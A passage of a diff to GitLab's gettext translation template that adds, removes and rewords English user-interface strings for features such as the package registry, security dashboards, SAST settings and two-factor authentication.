msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
